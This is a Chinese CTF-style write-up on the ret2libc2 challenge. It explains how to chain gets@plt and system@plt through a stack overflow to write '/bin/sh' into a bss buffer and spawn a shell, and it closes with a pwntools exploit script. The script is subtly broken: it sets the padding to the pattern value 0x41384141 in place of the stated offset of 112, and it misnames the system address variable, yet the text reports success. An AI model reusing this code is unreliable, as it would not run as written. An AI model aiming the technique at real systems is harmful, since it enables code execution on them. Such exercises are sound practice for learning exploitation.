ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?
目录
前言
python3 ELF 查看文件信息
strings 查看寻找"/bin/sh"
IDA反汇编分析
思路及实现
老规矩,偏移量 offset
EXP编写
总结
前言
经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?
其实很简单:没有我们就自己输入。
因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。
python3 ELF 查看文件信息
好的,重要的信息都有了
strings 查看寻找"/bin/sh"
说明没有这个字符串,恼
那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?
IDA反汇编分析
bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。
别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!!
思路及实现
根据基本ret2libc的思想,我们把溢出栈内容如下构造:
这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1
简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。
这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell
老规矩,偏移量 offset
gdb:peda下,pattern create 300
然后pattern offset addr
偏移量112
EXP编写
from pwn import *
io=process("./ret2libc2")
offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080
payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
成功获得自己的shell
总结
从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。